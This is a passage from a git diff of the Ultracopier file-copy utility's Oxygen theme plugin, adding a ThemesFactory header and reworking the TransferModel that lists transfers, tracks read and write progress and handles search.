+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"internal error, crash prevented");
+}
diff --git a/plugins/Themes/Oxygen/ThemesFactory.h b/plugins/Themes/Oxygen/ThemesFactory.h
new file mode 100644
index 0000000..895e32d
--- /dev/null
+++ b/plugins/Themes/Oxygen/ThemesFactory.h
@@ -0,0 +1,86 @@
+/** \file factory.h
+\brief Define the factory, to create instance of the interface
+\author alpha_one_x86
+\licence GPL3, see the file COPYING */
+
+#ifndef FACTORY_H
+#define FACTORY_H
+
+#include <QObject>
+#include <QWidget>
+#include <QMenu>
+#include <QCloseEvent>
+#include <QFile>
+#include <QIcon>
+#include <QColor>
+#include <QPixmap>
+
+#include "../../../interface/PluginInterface_Themes.h"
+#include "ui_themesOptions.h"
+#include "interface.h"
+#include "Environment.h"
+
+namespace Ui {
+ class themesOptions;
+}
+
+/// \brief Define the factory, to create instance of the interface
+class ThemesFactory : public PluginInterface_ThemesFactory
+{
+ Q_OBJECT
+ #ifndef ULTRACOPIER_PLUGIN_ALL_IN_ONE_DIRECT
+ Q_PLUGIN_METADATA(IID "first-world.info.ultracopier.PluginInterface.ThemesFactory/1.0.1.0" FILE "plugin.json")
+ Q_INTERFACES(PluginInterface_ThemesFactory)
+ #endif
+public:
+ ThemesFactory();
+ ~ThemesFactory();
+ /// \brief to return the instance of the copy engine
+ PluginInterface_Themes * getInstance();
+ /// \brief set the resources, to store options, to have facilityInterface
+ void setResources(OptionInterface * optionsEngine,const QString &
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ writePath
+ #endif
+ ,const QString &
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ pluginPath
+ #endif
+ ,FacilityInterface * facilityEngine,const bool &portableVersion);
+ /// \brief to get the default options widget
+ QWidget * options();
+ /// \brief to get a resource icon
+ QIcon getIcon(const QString &fileName) const;
+private slots:
+ void checkBoxShowSpeedHaveChanged(bool toggled);
+ void checkBoxStartWithMoreButtonPushedHaveChanged(bool toggled);
+ void comboBox_copyEnd(int value);
+ void speedWithProgressBar(bool toggled);
+ void checkBoxShowSpeed(bool checked);
+ void minimizeToSystray(bool checked);
+ void alwaysOnTop(bool checked);
+ void showDualProgression(bool checked);
+ void on_SliderSpeed_valueChanged(int value);
+ void uiUpdateSpeed();
+ void updateSpeed();
+ void progressColorWrite_clicked();
+ void progressColorRead_clicked();
+ void progressColorRemaining_clicked();
+ void updateProgressionColorBar();
+ void setShowProgressionInTheTitle();
+ void startMinimized(bool checked);
+public slots:
+ void resetOptions();
+ void newLanguageLoaded();
+private:
+ OptionInterface * optionsEngine;
+ Ui::themesOptions *ui;
+ QWidget *tempWidget;
+ FacilityInterface * facilityEngine;
+ qint32 currentSpeed;///< in KB/s, assume as 0KB/s as default like every where
+ QColor progressColorWrite,progressColorRead,progressColorRemaining;
+signals:
+ void reloadLanguage() const;
+};
+
+#endif // FACTORY_H
diff --git a/plugins/Themes/Oxygen/TransferModel.cpp b/plugins/Themes/Oxygen/TransferModel.cpp
index 42d2315..ff09d93 100644
--- a/plugins/Themes/Oxygen/TransferModel.cpp
+++ b/plugins/Themes/Oxygen/TransferModel.cpp
@@ -4,144 +4,159 @@
// Model
+QIcon *TransferModel::start=NULL;
+QIcon *TransferModel::stop=NULL;
+
TransferModel::TransferModel()
{
- start=QIcon(":/resources/player_play.png");
- stop=QIcon(":/resources/player_pause.png");
- currentIndexSearch=0;
- haveSearchItem=false;
+ /// \warning to prevent Must construct a QGuiApplication before QPixmap IN STATIC WINDOWS VERSION ONLY
+ if(TransferModel::start==NULL)
+ TransferModel::start=new QIcon(QStringLiteral(":/resources/player_play.png"));
+ if(TransferModel::stop==NULL)
+ TransferModel::stop=new QIcon(QStringLiteral(":/resources/player_pause.png"));
+ currentIndexSearch=0;
+ haveSearchItem=false;
+ loop_size=0,index_for_loop=0;
+ sub_loop_size=0,sub_index_for_loop=0;
+ row=0,column=0;
+ facilityEngine=NULL;
+ currentIndexSearch=0;
+ haveSearchItem=false;
+ searchId=0;
}
int TransferModel::columnCount( const QModelIndex& parent ) const
{
- return parent == QModelIndex() ? COLUMN_COUNT : 0;
+ return parent == QModelIndex() ? COLUMN_COUNT : 0;
}
QVariant TransferModel::data( const QModelIndex& index, int role ) const
{
- int row,column;
- row=index.row();
- column=index.column();
- if(index.parent()!=QModelIndex() || row < 0 || row >= transfertItemList.count() || column < 0 || column >= COLUMN_COUNT)
- return QVariant();
+ int row,column;
+ row=index.row();
+ column=index.column();
+ if(index.parent()!=QModelIndex() || row < 0 || row >= transfertItemList.count() || column < 0 || column >= COLUMN_COUNT)
+ return QVariant();
- const transfertItem& item = transfertItemList[row];
- if(role==Qt::UserRole)
- return item.id;
- else if(role==Qt::DisplayRole)
- {
- switch(column)
- {
- case 0:
- return item.source;
- break;
- case 1:
- return item.size;
- break;
- case 2:
- return item.destination;
- break;
- default:
- return QVariant();
- }
- }
- else if(role==Qt::DecorationRole)
- {
- switch(column)
- {
- case 0:
- if(stopId.contains(item.id))
- return stop;
- else if(startId.contains(item.id))
- return start;
- else
- return QVariant();
- break;
- default:
- return QVariant();
- }
- }
- else if(role==Qt::BackgroundRole)
- {
- if(!search_text.isEmpty() && (item.source.indexOf(search_text,0,Qt::CaseInsensitive)!=-1 || item.destination.indexOf(search_text,0,Qt::CaseInsensitive)!=-1))
- {
- if(haveSearchItem && searchId==item.id)
- return QColor(255,150,150,100);
- else
- return QColor(255,255,0,100);
- }
- else
- return QVariant();
- }
- return QVariant();
+ const TransfertItem& item = transfertItemList.at(row);
+ if(role==Qt::UserRole)
+ return item.id;
+ else if(role==Qt::DisplayRole)
+ {
+ switch(column)
+ {
+ case 0:
+ return item.source;
+ break;
+ case 1:
+ return item.size;
+ break;
+ case 2:
+ return item.destination;
+ break;
+ default:
+ return QVariant();
+ }
+ }
+ else if(role==Qt::DecorationRole)
+ {
+ switch(column)
+ {
+ case 0:
+ if(stopId.contains(item.id))
+ return *stop;
+ else if(startId.contains(item.id))
+ return *start;
+ else
+ return QVariant();
+ break;
+ default:
+ return QVariant();
+ }
+ }
+ else if(role==Qt::BackgroundRole)
+ {
+ if(!search_text.isEmpty() && (item.source.indexOf(search_text,0,Qt::CaseInsensitive)!=-1 || item.destination.indexOf(search_text,0,Qt::CaseInsensitive)!=-1))
+ {
+ if(haveSearchItem && searchId==item.id)
+ return QColor(255,150,150,100);
+ else
+ return QColor(255,255,0,100);
+ }
+ else
+ return QVariant();
+ }
+ return QVariant();
}
int TransferModel::rowCount( const QModelIndex& parent ) const
{
- return parent == QModelIndex() ? transfertItemList.count() : 0;
+ return parent == QModelIndex() ? transfertItemList.count() : 0;
}
-quint64 TransferModel::firstId()
+quint64 TransferModel::firstId() const
{
- if(transfertItemList.count()>0)
- return transfertItemList[0].id;
- else
- return 0;
+ if(transfertItemList.count()>0)
+ return transfertItemList.first().id;
+ else
+ return 0;
}
QVariant TransferModel::headerData( int section, Qt::Orientation orientation, int role ) const
{
- if ( role == Qt::DisplayRole && orientation == Qt::Horizontal && section >= 0 && section < COLUMN_COUNT ) {
- switch ( section ) {
- case 0:
- return facilityEngine->translateText("Source");
- case 1:
- return facilityEngine->translateText("Size");
- case 2:
- return facilityEngine->translateText("Destination");
- }
- }
+ if(facilityEngine==NULL)
+ abort();
+ if ( role == Qt::DisplayRole && orientation == Qt::Horizontal && section >= 0 && section < COLUMN_COUNT ) {
+ switch ( section ) {
+ case 0:
+ return facilityEngine->translateText(QStringLiteral("Source"));
+ case 1:
+ return facilityEngine->translateText(QStringLiteral("Size"));
+ case 2:
+ return facilityEngine->translateText(QStringLiteral("Destination"));
+ }
+ }
- return QAbstractTableModel::headerData( section, orientation, role );
+ return QAbstractTableModel::headerData( section, orientation, role );
}
bool TransferModel::setData( const QModelIndex& index, const QVariant& value, int role )
{
- row=index.row();
- column=index.column();
- if(index.parent()!=QModelIndex() || row < 0 || row >= transfertItemList.count() || column < 0 || column >= COLUMN_COUNT)
- return false;
+ row=index.row();
+ column=index.column();
+ if(index.parent()!=QModelIndex() || row < 0 || row >= transfertItemList.count() || column < 0 || column >= COLUMN_COUNT)
+ return false;
- transfertItem& item = transfertItemList[row];
- if(role==Qt::UserRole)
- {
- item.id=value.toULongLong();
- return true;
- }
- else if(role==Qt::DisplayRole)
- {
- switch(column)
- {
- case 0:
- item.source=value.toString();
- emit dataChanged(index,index);
- return true;
- break;
- case 1:
- item.size=value.toString();
- emit dataChanged(index,index);
- return true;
- break;
- case 2:
- item.destination=value.toString();
- emit dataChanged(index,index);
- return true;
- break;
- default:
- return false;
- }
- }
- return false;
+ TransfertItem& item = transfertItemList[row];
+ if(role==Qt::UserRole)
+ {
+ item.id=value.toULongLong();
+ return true;
+ }
+ else if(role==Qt::DisplayRole)
+ {
+ switch(column)
+ {
+ case 0:
+ item.source=value.toString();
+ emit dataChanged(index,index);
+ return true;
+ break;
+ case 1:
+ item.size=value.toString();
+ emit dataChanged(index,index);
+ return true;
+ break;
+ case 2:
+ item.destination=value.toString();
+ emit dataChanged(index,index);
+ return true;
+ break;
+ default:
+ return false;
+ }
+ }
+ return false;
}
/*
@@ -149,291 +164,407 @@ bool TransferModel::setData( const QModelIndex& index, const QVariant& value, in
Return[1]: totalSize
Return[2]: currentFile
*/
-QList<quint64> TransferModel::synchronizeItems(const QList<returnActionOnCopyList>& returnActions)
+QList<quint64> TransferModel::synchronizeItems(const QList<Ultracopier::ReturnActionOnCopyList>& returnActions)
{
- loop_size=returnActions.size();
- index_for_loop=0;
- totalFile=0;
- totalSize=0;
- currentFile=0;
- emit layoutAboutToBeChanged();
- while(index_for_loop<loop_size)
- {
- const returnActionOnCopyList& action=returnActions.at(index_for_loop);
- switch(action.type)
- {
- case AddingItem:
- {
- transfertItem newItem;
- newItem.id=action.addAction.id;
- newItem.source=action.addAction.sourceFullPath;
- newItem.size=facilityEngine->sizeToString(action.addAction.size);
- newItem.destination=action.addAction.destinationFullPath;
- transfertItemList<<newItem;
- totalFile++;
- totalSize+=action.addAction.size;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("id: %1, size: %2, name: %3").arg(action.addAction.id).arg(action.addAction.size).arg(action.addAction.sourceFullPath));
- }
- break;
- case MoveItem:
- {
- //bool current_entry=
- if(action.userAction.position<0)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("id: %1, position is wrong: %3").arg(action.addAction.id).arg(action.userAction.position));
- break;
- }
- if(action.userAction.position>(transfertItemList.size()-1))
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("id: %1, position is wrong: %3").arg(action.addAction.id).arg(action.userAction.position));
- break;
- }
- if(action.userAction.moveAt<0)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("id: %1, position is wrong: %3").arg(action.addAction.id).arg(action.userAction.position));
- break;
- }
- if(action.userAction.moveAt>(transfertItemList.size()-1))
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("id: %1, position is wrong: %3").arg(action.addAction.id).arg(action.userAction.position));
- break;
- }
- transfertItemList.move(action.userAction.position,action.userAction.moveAt);
- }
- break;
- case RemoveItem:
- {
- if(currentIndexSearch>0 && action.userAction.position<=currentIndexSearch)
- currentIndexSearch--;
- if(action.userAction.position<0)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("id: %1, position is wrong: %3").arg(action.addAction.id).arg(action.userAction.position));
- break;
- }
- if(action.userAction.position>(transfertItemList.size()-1))
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("id: %1, position is wrong: %3").arg(action.addAction.id).arg(action.userAction.position));
- break;
- }
- transfertItemList.removeAt(action.userAction.position);
- currentFile++;
- startId.remove(action.addAction.id);
- stopId.remove(action.addAction.id);
- }
- break;
- case PreOperation:
- {
- ItemOfCopyListWithMoreInformations tempItem;
- tempItem.currentProgression=0;
- tempItem.generalData=action.addAction;
- tempItem.actionType=action.type;
- internalRunningOperation[action.addAction.id]=tempItem;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("set for file %1: actionType: PreOperation").arg(action.addAction.id));
- }
- break;
- case Transfer:
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("found entry for file %1: actionType: Transfer").arg(action.addAction.id));
- if(!startId.contains(action.addAction.id))
- startId << action.addAction.id;
- stopId.remove(action.addAction.id);
- if(internalRunningOperation.contains(action.addAction.id))
- internalRunningOperation[action.addAction.id].actionType=action.type;
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("unable to found entry for file %1: actionType: Transfer").arg(action.addAction.id));
- }
- break;
- case PostOperation:
- {
- if(!stopId.contains(action.addAction.id))
- stopId << action.addAction.id;
- startId.remove(action.addAction.id);
- internalRunningOperation.remove(action.addAction.id);
- }
- break;
- case CustomOperation:
- {
- bool custom_with_progression=(action.addAction.size==1);
- //without progression
- if(custom_with_progression)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("switch the file: %1 to custom operation with progression").arg(action.addAction.id));
- if(startId.remove(action.addAction.id))
- if(!stopId.contains(action.addAction.id))
- stopId << action.addAction.id;
- }
- //with progression
- else
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("switch the file: %1 to custom operation without progression").arg(action.addAction.id));
- stopId.remove(action.addAction.id);
- if(!startId.contains(action.addAction.id))
- startId << action.addAction.id;
- }
- if(internalRunningOperation.contains(action.addAction.id))
- {
- ItemOfCopyListWithMoreInformations &item=internalRunningOperation[action.addAction.id];
- item.actionType=action.type;
- item.custom_with_progression=custom_with_progression;
- item.currentProgression=0;
- }
- }
- break;
- default:
- //unknow code, ignore it
- break;
- }
- index_for_loop++;
- }
- emit layoutChanged();
- return QList<quint64>() << totalFile << totalSize << currentFile;
+ const QModelIndexList oldIndexes = persistentIndexList();
+ QModelIndexList newIndexes=oldIndexes;
+ QMap<int, quint64> oldMapping; // model index row in model before update, item id
+ QMap<quint64, int> newMapping; // item id, model index row in model after update
+ for ( int i = 0; i < oldIndexes.count(); i++ ) {
+ const QModelIndex& index = oldIndexes.at(i);
+ oldMapping[index.row()] = index.data( Qt::UserRole ).value<quint64>();
+ }
+
+ loop_size=returnActions.size();
+ index_for_loop=0;
+ quint64 totalFile=0,totalSize=0,currentFile=0;
+ emit layoutAboutToBeChanged();
+ while(index_for_loop<loop_size)
+ {
+ const Ultracopier::ReturnActionOnCopyList& action=returnActions.at(index_for_loop);
+ switch(action.type)
+ {
+ case Ultracopier::AddingItem:
+ {
+ TransfertItem newItem;
+ newItem.id=action.addAction.id;
+ newItem.source=action.addAction.sourceFullPath;
+ newItem.size=facilityEngine->sizeToString(action.addAction.size);
+ newItem.destination=action.addAction.destinationFullPath;
+ transfertItemList<<newItem;
+ totalFile++;
+ totalSize+=action.addAction.size;
+ }
+ break;
+ case Ultracopier::MoveItem:
+ {
+ //bool current_entry=
+ if(action.userAction.position<0)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("id: %1, position is wrong: %2").arg(action.addAction.id).arg(action.userAction.position));
+ break;
+ }
+ if(action.userAction.position>(transfertItemList.size()-1))
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("id: %1, position is wrong: %2").arg(action.addAction.id).arg(action.userAction.position));
+ break;
+ }
+ if(action.userAction.moveAt<0)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("id: %1, position is wrong: %2").arg(action.addAction.id).arg(action.userAction.position));
+ break;
+ }
+ if(action.userAction.moveAt>(transfertItemList.size()-1))
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("id: %1, position is wrong: %2").arg(action.addAction.id).arg(action.userAction.position));
+ break;
+ }
+ if(action.userAction.position==action.userAction.moveAt)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("id: %1, move at same position: %2").arg(action.addAction.id).arg(action.userAction.position));
+ break;
+ }
+ transfertItemList.move(action.userAction.position,action.userAction.moveAt);
+ //newIndexes.move(action.userAction.position,action.userAction.moveAt);
+ }
+ break;
+ case Ultracopier::RemoveItem:
+ {
+ if(currentIndexSearch>0 && action.userAction.position<=currentIndexSearch)
+ currentIndexSearch--;
+ if(action.userAction.position<0)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("id: %1, position is wrong: %3").arg(action.addAction.id).arg(action.userAction.position));
+ break;
+ }
+ if(action.userAction.position>(transfertItemList.size()-1))
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("id: %1, position is wrong: %3").arg(action.addAction.id).arg(action.userAction.position));
+ break;
+ }
+ transfertItemList.removeAt(action.userAction.position);
+ currentFile++;
+ startId.remove(action.addAction.id);
+ stopId.remove(action.addAction.id);
+ internalRunningOperation.remove(action.addAction.id);
+ //newIndexes.remove(action.userAction.moveAt);
+ }
+ break;
+ case Ultracopier::PreOperation:
+ {
+ ItemOfCopyListWithMoreInformations tempItem;
+ tempItem.currentReadProgression=0;
+ tempItem.currentWriteProgression=0;
+ tempItem.generalData=action.addAction;
+ tempItem.actionType=action.type;
+ internalRunningOperation[action.addAction.id]=tempItem;
+ }
+ break;
+ case Ultracopier::Transfer:
+ {
+ if(!startId.contains(action.addAction.id))
+ startId << action.addAction.id;
+ stopId.remove(action.addAction.id);
+ if(internalRunningOperation.contains(action.addAction.id))
+ internalRunningOperation[action.addAction.id].actionType=action.type;
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("unable to found entry for file %1: actionType: Transfer").arg(action.addAction.id));
+ }
+ break;
+ case Ultracopier::PostOperation:
+ {
+ if(!stopId.contains(action.addAction.id))
+ stopId << action.addAction.id;
+ startId.remove(action.addAction.id);
+ }
+ break;
+ case Ultracopier::CustomOperation:
+ {
+ bool custom_with_progression=(action.addAction.size==1);
+ //without progression
+ if(custom_with_progression)
+ {
+ if(startId.remove(action.addAction.id))
+ if(!stopId.contains(action.addAction.id))
+ stopId << action.addAction.id;
+ }
+ //with progression
+ else
+ {
+ stopId.remove(action.addAction.id);
+ if(!startId.contains(action.addAction.id))
+ startId << action.addAction.id;
+ }
+ if(internalRunningOperation.contains(action.addAction.id))
+ {
+ ItemOfCopyListWithMoreInformations &item=internalRunningOperation[action.addAction.id];
+ item.actionType=action.type;
+ item.custom_with_progression=custom_with_progression;
+ item.currentReadProgression=0;
+ item.currentWriteProgression=0;
+ }
+ }
+ break;
+ default:
+ //unknow code, ignore it
+ break;
+ }
+ index_for_loop++;
+ }
+
+ if(!oldIndexes.isEmpty())
+ {
+ const QSet<quint64> ids = oldMapping.values().toSet();
+
+ for ( int i = 0; i < transfertItemList.count(); i++ ) {
+ const TransferModel::TransfertItem& item = transfertItemList.at(i);
+
+ if ( ids.contains( item.id ) ) {
+ newMapping[ item.id ] = i;
+ }
+ }
+
+ for ( int i = 0; i < oldIndexes.count(); i++ ) {
+ const QModelIndex& index = oldIndexes.at(i);
+ const int newRow = newMapping.value( oldMapping.value(index.row()), -1 );
+ newIndexes[ i ] = newRow == -1 ? QModelIndex() : QAbstractTableModel::index( newRow, index.column(), index.parent() );
+ }
+ }
+
+ changePersistentIndexList( oldIndexes, newIndexes );
+ emit layoutChanged();
+ return QList<quint64>() << totalFile << totalSize << currentFile;
}
void TransferModel::setFacilityEngine(FacilityInterface * facilityEngine)
{
- this->facilityEngine=facilityEngine;
+ this->facilityEngine=facilityEngine;
}
int TransferModel::search(const QString &text,bool searchNext)
{
- emit layoutAboutToBeChanged();
- search_text=text;
- emit layoutChanged();
- if(transfertItemList.size()==0)
- return -1;
- if(text.isEmpty())
- return -1;
- if(searchNext)
- {
- currentIndexSearch++;
- if(currentIndexSearch>=loop_size)
- currentIndexSearch=0;
- }
- index_for_loop=0;
- loop_size=transfertItemList.size();
- while(index_for_loop<loop_size)
- {
- if(transfertItemList.at(currentIndexSearch).source.indexOf(search_text,0,Qt::CaseInsensitive)!=-1 || transfertItemList.at(currentIndexSearch).destination.indexOf(search_text,0,Qt::CaseInsensitive)!=-1)
- {
- haveSearchItem=true;
- searchId=transfertItemList.at(currentIndexSearch).id;
- return currentIndexSearch;
- }
- currentIndexSearch++;
- if(currentIndexSearch>=loop_size)
- currentIndexSearch=0;
- index_for_loop++;
- }
- haveSearchItem=false;
- return -1;
+ emit layoutAboutToBeChanged();
+ search_text=text;
+ emit layoutChanged();
+ if(transfertItemList.size()==0)
+ return -1;
+ if(text.isEmpty())
+ return -1;
+ if(searchNext)
+ {
+ currentIndexSearch++;
+ if(currentIndexSearch>=loop_size)
+ currentIndexSearch=0;
+ }
+ index_for_loop=0;
+ loop_size=transfertItemList.size();
+ while(index_for_loop<loop_size)
+ {
+ if(transfertItemList.at(currentIndexSearch).source.indexOf(search_text,0,Qt::CaseInsensitive)!=-1 || transfertItemList.at(currentIndexSearch).destination.indexOf(search_text,0,Qt::CaseInsensitive)!=-1)
+ {
+ haveSearchItem=true;
+ searchId=transfertItemList.at(currentIndexSearch).id;
+ return currentIndexSearch;
+ }
+ currentIndexSearch++;
+ if(currentIndexSearch>=loop_size)
+ currentIndexSearch=0;
+ index_for_loop++;
+ }
+ haveSearchItem=false;
+ return -1;
}
int TransferModel::searchPrev(const QString &text)
{
- emit layoutAboutToBeChanged();
- search_text=text;
- emit layoutChanged();
- if(transfertItemList.size()==0)
- return -1;
- if(text.isEmpty())
- return -1;
- if(currentIndexSearch==0)
- currentIndexSearch=loop_size-1;
- else
- currentIndexSearch--;
- index_for_loop=0;
- loop_size=transfertItemList.size();
- while(index_for_loop<loop_size)
- {
- if(transfertItemList.at(currentIndexSearch).source.indexOf(search_text,0,Qt::CaseInsensitive)!=-1 || transfertItemList.at(currentIndexSearch).destination.indexOf(search_text,0,Qt::CaseInsensitive)!=-1)
- {
- haveSearchItem=true;
- searchId=transfertItemList.at(currentIndexSearch).id;
- return currentIndexSearch;
- }
- if(currentIndexSearch==0)
- currentIndexSearch=loop_size-1;
- else
- currentIndexSearch--;
- index_for_loop++;
- }
- haveSearchItem=false;
- return -1;
+ emit layoutAboutToBeChanged();
+ search_text=text;
+ emit layoutChanged();
+ if(transfertItemList.size()==0)
+ return -1;
+ if(text.isEmpty())
+ return -1;
+ if(currentIndexSearch==0)
+ currentIndexSearch=loop_size-1;
+ else
+ currentIndexSearch--;
+ index_for_loop=0;
+ loop_size=transfertItemList.size();
+ while(index_for_loop<loop_size)
+ {
+ if(transfertItemList.at(currentIndexSearch).source.indexOf(search_text,0,Qt::CaseInsensitive)!=-1 || transfertItemList.at(currentIndexSearch).destination.indexOf(search_text,0,Qt::CaseInsensitive)!=-1)
+ {
+ haveSearchItem=true;
+ searchId=transfertItemList.at(currentIndexSearch).id;
+ return currentIndexSearch;
+ }
+ if(currentIndexSearch==0)
+ currentIndexSearch=loop_size-1;
+ else
+ currentIndexSearch--;
+ index_for_loop++;
+ }
+ haveSearchItem=false;
+ return -1;
}
-void TransferModel::setFileProgression(QList<ProgressionItem> &progressionList)
+void TransferModel::setFileProgression(QList<Ultracopier::ProgressionItem> &progressionList)
{
- loop_size=progressionList.size();
- index_for_loop=0;
- while(index_for_loop<loop_size)
- {
- if(internalRunningOperation.contains(progressionList.at(index_for_loop).id))
- {
- internalRunningOperation[progressionList.at(index_for_loop).id].generalData.size=progressionList.at(index_for_loop).total;
- internalRunningOperation[progressionList.at(index_for_loop).id].currentProgression=progressionList.at(index_for_loop).current;
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- progressionList.removeAt(index_for_loop);
- #endif
- }
- index_for_loop++;
- }
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- if(progressionList.size()>0)
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"progression remaning items");
- #endif
+ loop_size=progressionList.size();
+ index_for_loop=0;
+ while(index_for_loop<loop_size)
+ {
+ if(internalRunningOperation.contains(progressionList.at(index_for_loop).id))
+ {
+ internalRunningOperation[progressionList.at(index_for_loop).id].generalData.size=progressionList.at(index_for_loop).total;
+ internalRunningOperation[progressionList.at(index_for_loop).id].currentReadProgression=progressionList.at(index_for_loop).currentRead;
+ internalRunningOperation[progressionList.at(index_for_loop).id].currentWriteProgression=progressionList.at(index_for_loop).currentWrite;
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ progressionList.removeAt(index_for_loop);
+ index_for_loop--;
+ loop_size--;
+ #endif
+ }
+ index_for_loop++;
+ }
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ if(progressionList.size()>0)
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("progression remaning items"));
+ #endif
}
-TransferModel::currentTransfertItem TransferModel::getCurrentTransfertItem()
+TransferModel::currentTransfertItem TransferModel::getCurrentTransfertItem() const
{
- currentTransfertItem returnItem;
- returnItem.haveItem=startId.size()>0;
- if(returnItem.haveItem)
- {
- if(!internalRunningOperation.contains(*startId.constBegin()))
- {
- returnItem.haveItem=false;
- return returnItem;
- }
- const ItemOfCopyListWithMoreInformations &itemTransfer=internalRunningOperation[*startId.constBegin()];
- returnItem.from=itemTransfer.generalData.sourceFullPath;
- returnItem.to=itemTransfer.generalData.destinationFullPath;
- returnItem.current_file=itemTransfer.generalData.destinationFileName+", "+facilityEngine->sizeToString(itemTransfer.generalData.size);
- switch(itemTransfer.actionType)
- {
- case CustomOperation:
- if(!itemTransfer.custom_with_progression)
- returnItem.progressBar_file=-1;
- else
- {
- if(itemTransfer.generalData.size>0)
- returnItem.progressBar_file=((double)itemTransfer.currentProgression/itemTransfer.generalData.size)*65535;
- else
- returnItem.progressBar_file=-1;
- }
- break;
- case Transfer:
- if(itemTransfer.generalData.size>0)
- returnItem.progressBar_file=((double)itemTransfer.currentProgression/itemTransfer.generalData.size)*65535;
- else
- returnItem.progressBar_file=0;
- break;
- //should never pass here
- case PostOperation:
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("wrong action type for file %1: actionType: %2").arg(itemTransfer.generalData.id).arg(itemTransfer.actionType));
- returnItem.progressBar_file=65535;
- break;
- //should never pass here
- case PreOperation:
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("wrong action type for file %1: actionType: %2").arg(itemTransfer.generalData.id).arg(itemTransfer.actionType));
- returnItem.progressBar_file=0;
- break;
- default:
- returnItem.progressBar_file=0;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("unknow action type for file %1: actionType: %2").arg(itemTransfer.generalData.id).arg(itemTransfer.actionType));
- break;
- }
- }
-/* else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("No have running item"));*/
- return returnItem;
+ currentTransfertItem returnItem;
+ returnItem.progressBar_read=-1;
+ returnItem.progressBar_write=0;
+ returnItem.haveItem=startId.size()>0;
+ if(returnItem.haveItem)
+ {
+ if(!internalRunningOperation.contains(*startId.constBegin()))
+ {
+ returnItem.haveItem=false;
+ return returnItem;
+ }
+ const ItemOfCopyListWithMoreInformations &itemTransfer=internalRunningOperation.value(*startId.constBegin());
+ returnItem.from=itemTransfer.generalData.sourceFullPath;
+ returnItem.to=itemTransfer.generalData.destinationFullPath;
+ returnItem.current_file=itemTransfer.generalData.destinationFileName+QStringLiteral(", ")+facilityEngine->sizeToString(itemTransfer.generalData.size);
+ returnItem.id=itemTransfer.generalData.id;
+ switch(itemTransfer.actionType)
+ {
+ case Ultracopier::CustomOperation:
+ if(!itemTransfer.custom_with_progression)
+ returnItem.progressBar_read=-1;
+ else
+ {
+ if(itemTransfer.generalData.size>0)
+ {
+ returnItem.progressBar_read=((double)itemTransfer.currentReadProgression/itemTransfer.generalData.size)*65535;
+ returnItem.progressBar_write=((double)itemTransfer.currentWriteProgression/itemTransfer.generalData.size)*65535;
+ }
+ else
+ returnItem.progressBar_read=-1;
+ }
+ break;
+ case Ultracopier::Transfer:
+ if(itemTransfer.generalData.size>0)
+ {
+ returnItem.progressBar_read=((double)itemTransfer.currentReadProgression/itemTransfer.generalData.size)*65535;
+ returnItem.progressBar_write=((double)itemTransfer.currentWriteProgression/itemTransfer.generalData.size)*65535;
+ }
+ else
+ {
+ returnItem.progressBar_read=0;
+ returnItem.progressBar_write=0;
+ }
+ break;
+ //should never pass here
+ case Ultracopier::PostOperation:
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("wrong action type for file %1: actionType: %2").arg(itemTransfer.generalData.id).arg(itemTransfer.actionType));
+ returnItem.progressBar_read=65535;
+ returnItem.progressBar_write=65535;
+ break;
+ //should never pass here
+ case Ultracopier::PreOperation:
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("wrong action type for file %1: actionType: %2").arg(itemTransfer.generalData.id).arg(itemTransfer.actionType));
+ returnItem.progressBar_read=0;
+ returnItem.progressBar_write=0;
+ break;
+ default:
+ returnItem.progressBar_read=0;
+ returnItem.progressBar_write=0;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("unknow action type for file %1: actionType: %2").arg(itemTransfer.generalData.id).arg(itemTransfer.actionType));
+ break;
+ }
+ }
+ else
+ {
+ returnItem.haveItem=stopId.size()>0;
+ if(returnItem.haveItem)
+ {
+ if(!internalRunningOperation.contains(*stopId.constBegin()))
+ {
